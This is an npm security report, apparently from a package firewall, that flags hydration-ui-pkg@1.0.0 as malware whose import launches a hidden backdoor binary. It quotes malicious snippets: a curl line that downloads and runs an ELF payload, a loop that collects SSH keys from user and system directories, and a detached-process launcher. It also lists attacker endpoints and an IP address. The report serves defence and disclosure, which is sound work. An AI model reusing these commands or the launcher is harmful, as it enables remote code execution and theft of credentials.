--- canonical: "https://firewall.lpm.dev/npm/hydration-ui-pkg" markdown: "https://firewall.lpm.dev/npm/hydration-ui-pkg/report.md" package: "hydration-ui-pkg" report_status: "published" title: "hydration-ui-pkg@1.0.0 npm security report" verdict: "malicious" version: "1.0.0" --- # hydration-ui-pkg@1.0.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — It can execute downloaded code, collect SSH keys, and provide remote network access. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Malware - **Selected version:** 1.0.0 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package’s import path launches a detached binary whose embedded commands implement backdoor, payload-execution, and credential-harvesting functionality. This is concrete malicious behavior despite the absence of an npm lifecycle hook. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-09-03T15:31:00.363Z - **Finished:** 2026-09-03T15:33:17.010Z - **Download time:** 509 ms - **Static scan time:** 65 ms - **AI review time:** 136072 ms - **Total time:** 136647 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Importing the package root launches a detached native backdoor disguised as a math accelerator. The binary supports payload download, execution, port forwarding, and credential collection. - **Trigger:** Importing the package root module. - **Impact:** It can execute downloaded code, collect SSH keys, and provide remote network access. - **Evidence paths:** dist/index.mjs, dist/internal/mathcalc.mjs - **Review source:** ai\_review - **Reviewed:** 2026-09-03T15:33:17.010Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** An import-time launcher executes an embedded remote-access binary. - **Attack narrative:** A normal import changes the bundled ELF mode and launches it as a detached process. That binary contains remote-access features including port forwarding, downloading and executing ELF payloads, SSH-key collection, persistence, and data upload. These capabilities are unrelated to calendar calculations and create concrete unconsented code-execution and credential-theft risk. - **Rationale:** The package’s import path launches a detached binary whose embedded commands implement backdoor, payload-execution, and credential-harvesting functionality. This is concrete malicious behavior despite the absence of an npm lifecycle hook. - **Files touched:** dist/index.mjs, dist/internal/mathcalc.mjs, ~/.ssh, /root/.ssh, /home/\*/.ssh, /etc/ssh - **Network endpoints:** http://%s:%d/Others/%s, https://litterbox.catbox.moe/resources/internals/api.php, 217.60.77.63 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The root import makes an embedded ELF executable and starts it detached., The embedded binary provides port forwarding and downloads then launches ELF payloads., The binary includes SSH-key collection commands from user and system key directories. - **Evidence against:** package.json contains no npm lifecycle script. ## Affected versions and remediation This report applies to hydration-ui-pkg@1.0.0. - Avoid installing hydration-ui-pkg@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 2. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 3. Medium: Ships Native Binary - **Category:** Artifact Inventory - **Confidence:** 75.0% - **Path:** dist/internal/mathcalc.mjs - **Public source:** [View source]() Package ships native binary artifacts. Public source snippet (untrusted): ```javascript path = dist/internal/mathcalc.mjs kind = native_binary sizeBytes = 63616 magicHex = [redacted] ``` ### 4. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 75.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 5. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** dist/internal/mathcalc.mjs - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review. Public source snippet (untrusted): ```javascript stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 2 ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/index.mjs - **Public source:** [View source]() The root import makes an embedded ELF executable and starts it detached. Public source snippet (untrusted): ```javascript try { fs.chmodSync(binaryPath, 0o755); ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/index.mjs - **Public source:** [View source]() The root import makes an embedded ELF executable and starts it detached. Public source snippet (untrusted): ```javascript const engineProcess = cp.spawn(binaryPath, [], { stdio: 'pipe', shell: false, detached: true }); ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/internal/mathcalc.mjs - **Public source:** [View source]() The embedded binary provides port forwarding and downloads then launches ELF payloads. Public source snippet (untrusted): ```javascript Usage: /portfwd start ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/internal/mathcalc.mjs - **Public source:** [View source]() The embedded binary provides port forwarding and downloads then launches ELF payloads. Public source snippet (untrusted): ```javascript F=$(mktemp /tmp/.elf_XXXXXX) && curl -s -k -o "$F" 'http://%s:%d/Others/%s' 2>/dev/null && chmod +x "$F" && "$F" & ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/internal/mathcalc.mjs - **Public source:** [View source]() The binary includes SSH-key collection commands from user and system key directories. Public source snippet (untrusted): ```javascript N=0; for d in ~/.ssh /root/.ssh /home/*/.ssh /etc/ssh; do ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** hydration-ui-pkg - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-09-03T01:02:31.960Z - **Package first seen:** 2026-09-03T15:33:17.010Z - **Package last seen:** 2026-09-03T15:33:17.010Z - **Known versions:** 1 - **Latest version:** 1.0.0 - **Appeal under review:** No - **Description:** Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store. - **Deprecated:** Package no longer supported. Contact Support at https://www.npmjs.com/support for more info. - **Keywords:** day, analytics, streak, calendar - **Runtime engines:** node: \>=18 - **Artifact files:** 9 - **Artifact unpacked size:** 72,309 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]()